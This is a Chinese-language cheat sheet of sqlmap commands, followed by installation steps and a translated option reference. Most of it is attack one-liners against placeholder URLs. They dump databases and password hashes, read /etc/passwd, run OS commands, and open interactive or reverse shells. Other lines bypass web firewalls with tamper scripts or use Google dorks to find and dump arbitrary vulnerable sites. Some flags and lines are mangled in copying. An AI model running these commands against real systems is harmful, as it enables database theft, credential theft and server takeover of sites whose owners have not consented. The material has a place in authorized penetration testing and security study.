1. 程式人生 > >Sqlmap常用指令

Sqlmap常用指令

sqlmap -u “http://url/news?id=1″ –current-user #獲取當前使用者名稱稱sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #獲取當前數 據庫名稱
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列欄位
 
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
0 #獲取欄位內容
 
******************資訊獲取******************
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定數 據庫型別
sqlmap -u “http://url/news?id=1″ –users #列資料庫使用者
sqlmap -u “http://url/news?id=1″ –dbs#列資料庫
sqlmap -u “http://url/news?id=1″ –passwords #資料庫使用者密碼
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定使用者 資料庫密碼
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定欄位,列出20 條
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有資料庫所有表
sqlmap -u “http://url/news?id=1″ –privileges #檢視許可權
sqlmap -u “http://url/news?id=1″ –privileges -U root #檢視指定使用者許可權sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是資料庫管理員sqlmap -u “http://url/news?id=1″ –roles #列舉資料庫使用者角色
sqlmap -u “http://url/news?id=1″ –udf-inject #匯入使用者自定義函式(獲取 系統許可權!)
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出當前庫所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查詢表記錄
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″-b #獲取banner資訊
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
sqlmap -u “http://url/news?id=1″-v 1 -f #指紋判別資料庫型別
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定關鍵詞
sqlmap -u “http://url/news?id=1″ –sql-shell #執行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #執行系統命令
sqlmap -u “http://url/news?id=1″ –os-shell #系統互動shell sqlmap -u “http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u “http://url/news?id=1″ –reg-read #讀取win系統登錄檔
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#儲存進度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢復 已儲存進度
***********高階用法*************
-p name 多個引數如index.php?n_id=1&name=2&data=2020 我們想指定name引數進行注入
sqlmap -g “google語法” –dump-all –batch #google搜尋注入點自動 跑出 所有欄位          需保證google.com能正常訪問
–technique   測試指定注入型別\使用的技術
不加引數預設測試所有注入技術
•     B: 基於布林的SQL 盲注
•     E: 基於顯錯sql 注入
•     U: 基於UNION 注入
•     S: 疊層sql 注入
•     T: 基於時間盲注
–tamper 通過編碼繞過WEB 防火牆(WAF)Sqlmap 預設用char()
–tamper 外掛所在目錄
\sqlmap-dev\tamper
sqlmap -u “http://
www.2cto.com
/news?id=1″ –smart –level 3 –users # smart 智 能
level 執行測試等級 攻擊例項:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
參考文件:http://sqlmap.sourceforge.net/doc/README.html
***********安裝最新版本*************
ubuntu 通過apt-get install 安裝的sqlmap版本為0.6 我們通過svn 來安裝 為 最新1.0版
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝的位置為:/home/當前使用者/sqlmap-dev/sqlmap.py 直接執行/home/當前使用者/sqlmap-dev/sqlmap.py –version 這樣很不方便 我們可以設定.bashrc 檔案
sudo vim /home/當前使用者/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 該環境變數只對當前使用者有效
如果想對所有使用者有效 可設定全域性 編輯下面的檔案
vim /etc/profile
同樣加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重啟生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安裝python
http://www.sliksvn.com/en/download 安裝windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝sqlmap
*修改環境變數
–version             顯示程式的版本號並退出
-h, –help            顯示此幫助訊息並退出
-v VERBOSE            詳細級別:0-6(預設為1)
Target(目標): 以下至少需要設定其中一個選項,設定目標URL。
-d DIRECT           直接連線到
資料庫

-u URL, –url=URL   目標URL。
-l LIST             從Burp 或WebScarab 代理的日誌中解析目標。
-r REQUESTFILE      從一個檔案中載入HTTP 請求。
-g GOOGLEDORK       處理Google dork 的結果作為目標URL。
-c CONFIGFILE       從INI 配置檔案中載入選項。
Request(請求)::
這些選項可以用來指定如何連線到目標URL。
–data=DATA         通過POST 傳送的資料字串
–cookie=COOKIE     HTTP Cookie 頭
–cookie-urlencode  URL 編碼生成的cookie 注入
–drop-set-cookie   忽略響應的Set –Cookie 頭資訊
 
–user-agent=AGENT  指定  HTTP User –Agent 頭
–random-agent      使用隨機選定的HTTP User –Agent 頭
–referer=REFERER   指定  HTTP Referer 頭
–headers=HEADERS   換行分開,加入其他的HTTP 頭
–auth-type=ATYPE   HTTP 身份驗證型別(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED   HTTP 身份驗證憑據(使用者名稱:密碼)
–auth-cert=ACERT   HTTP 認證證書(key_file,cert_file)
–proxy=PROXY       使用HTTP 代理連線到目標URL
–proxy-cred=PCRED  HTTP 代理身份驗證憑據(使用者名稱:密碼)
–ignore-proxy      忽略系統預設的HTTP 代理
–delay=DELAY       在每個HTTP 請求之間的延遲時間,單位為秒
–timeout=TIMEOUT   等待連線超時的時間(預設為30 秒)
–retries=RETRIES   連線超時後重新連線的時間(預設3)
–scope=SCOPE       從所提供的代理日誌中過濾器目標的正則表示式
–safe-url=SAFURL   在測試過程中經常訪問的url 地址
–safe-freq=SAFREQ  兩次訪問之間測試請求,給出安全的URL
Optimization(優化): 這些選項可用於優化SqlMap 的效能。
-o                  開啟所有優化開關
–predict-output    預測常見的查詢輸出
–keep-alive        使用持久的HTTP(S)連線
–null-connection   從沒有實際的HTTP 響應體中檢索頁面長度
–threads=THREADS   最大的HTTP(S)請求併發量(預設為1)
Injection(注入):
這些選項可以用來指定測試哪些引數,  提供自定義的注入payloads 和可選篡改指令碼。
-p TESTPARAMETER    可測試的引數(S)
–dbms=DBMS         強制後端的DBMS 為此值
–os=OS             強制後端的DBMS 作業系統為這個值
–prefix=PREFIX     注入payload 字串字首
–suffix=SUFFIX     注入 payload 字串字尾
–tamper=TAMPER     使用給定的指令碼(S)篡改注入資料
Detection(檢測):
這些選項可以用來指定在SQL 盲注時如何解析和比較HTTP 響應頁面的內容。
–level=LEVEL       執行測試的等級(1-5,預設為1)
–risk=RISK         執行測試的風險(0-3,預設為1)
–string=STRING     查詢時有效時在頁面匹配字串
–regexp=REGEXP     查詢時有效時在頁面匹配正則表示式
–text-only         僅基於在文字內容比較網頁
Techniques(技巧): 這些選項可用於調整具體的SQL 注入測試。
–technique=TECH    SQL 注入技術測試(預設BEUST)
–time-sec=TIMESEC  DBMS 響應的延遲時間(預設為5 秒)
–union-cols=UCOLS  定列範圍用於測試UNION 查詢注入
–union-char=UCHAR  用於暴力猜解列數的字元
Fingerprint(指紋):
-f, –fingerprint     執行檢查廣泛的DBMS 版本指紋
Enumeration(列舉):
 
這些選項可以用來列舉後端資料庫管理系統的資訊、表中的結構和資料。此外,您還可以執行您自己 的SQL 語句。
-b, –banner        檢索資料庫管理系統的標識
–current-user      檢索資料庫管理系統當前使用者
–current-db        檢索資料庫管理系統當前資料庫
–is-dba            檢測DBMS 當前使用者是否DBA
–users             列舉資料庫管理系統使用者
–passwords         列舉資料庫管理系統使用者密碼雜湊
–privileges        列舉資料庫管理系統使用者的許可權
–roles             列舉資料庫管理系統使用者的角色
–dbs               列舉資料庫管理系統資料庫
–tables            列舉的DBMS 資料庫中的表
–columns           列舉DBMS 資料庫表列
–dump              轉儲資料庫管理系統的資料庫中的表項
–dump-all          轉儲所有的DBMS 資料庫表中的條目
–search            搜尋列(S),表(S)和/或資料庫名稱(S)
-D DB               要進行列舉的資料庫名
-T TBL              要進行列舉的資料庫表
-C COL              要進行列舉的資料庫列
-U USER             用來進行列舉的資料庫使用者
–exclude-sysdbs    列舉表時排除系統資料庫
–start=LIMITSTART  第一個查詢輸出進入檢索
–stop=LIMITSTOP    最後查詢的輸出進入檢索
–first=FIRSTCHAR   第一個查詢輸出字的字元檢索
–last=LASTCHAR     最後查詢的輸出字字元檢索
–sql-query=QUERY   要執行的SQL 語句
–sql-shell         提示互動式SQL 的shell
Brute force(蠻力): 這些選項可以被用來執行蠻力檢查。
–common-tables     檢查存在共同表
–common-columns    檢查存在共同列
User-defined function injection(使用者自定義函式注入): 這些選項可以用來建立使用者自定義函式。
–udf-inject        注入使用者自定義函式
–shared-lib=SHLIB  共享庫的本地路徑
File system access(訪問檔案系統): 這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統。
–file-read=RFILE   從後端的資料庫管理系統檔案系統讀取檔案
–file-write=WFILE  編輯後端的資料庫管理系統檔案系統上的本地檔案
–file-dest=DFILE   後端的資料庫管理系統寫入檔案的絕對路徑
Operating system access(作業系統訪問): 這些選項可以用於訪問後端資料庫管理系統的底層作業系統。
–os-cmd=OSCMD      執行作業系統命令
–os-shell          互動式的作業系統的shell
–os-pwn            獲取一個OOB shell,meterpreter 或VNC
–os-smbrelay       一鍵獲取一個OOB shell,meterpreter 或VNC
–os-bof            儲存過程緩衝區溢位利用
–priv-esc          資料庫程序使用者許可權提升
–msf-path=MSFPATH  Met
asp
loit Framework 本地的安裝路徑
–tmp-path=TMPPATH  遠端臨時檔案目錄的絕對路徑
 
Windows 登錄檔訪問: 這些選項可以被用來訪問後端資料庫管理系統Windows 登錄檔。
–reg-read          讀一個Windows 登錄檔項值
–reg-add           寫一個Windows 登錄檔項值資料
–reg-del           刪除Windows 登錄檔鍵值
–reg-key=REGKEY    Windows 登錄檔鍵
–reg-value=REGVAL  Windows 登錄檔項值
–reg-data=REGDATA  Windows 登錄檔鍵值資料
–reg-type=REGTYPE  Windows 登錄檔項值型別
General(一般): 這些選項可以用來設定一些一般的工作引數。
-t TRAFFICFILE      記錄所有HTTP 流量到一個文字檔案中
-s SESSIONFILE      儲存和恢復檢索會話檔案的所有資料
–flush-session     重新整理當前目標的會話檔案
–fresh-queries     忽略在會話檔案中儲存的查詢結果
–eta               顯示每個輸出的預計到達時間
–update            更新SqlMap
–save              file 儲存選項到INI 配置檔案
–batch             從不詢問使用者輸入,使用所有預設配置。
Miscellaneous(雜項):
–beep              發現SQL 注入時提醒
–check-payload     IDS 對注入payloads 的檢測測試
–cleanup           SqlMap 具體的UDF 和表清理DBMS
–forms             對目標URL 的解析和測試形式
–gpage=GOOGLEPAGE  從指定的頁碼使用谷歌dork 結果
–page-rank         Google dork 結果顯示網頁排名(PR)
–parse-errors      從響應頁面解析資料庫管理系統的錯誤訊息
–replicate         複製轉儲的資料到一個sqlite3 資料庫
–tor               使用預設的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard            給初級使用者的簡單向導介面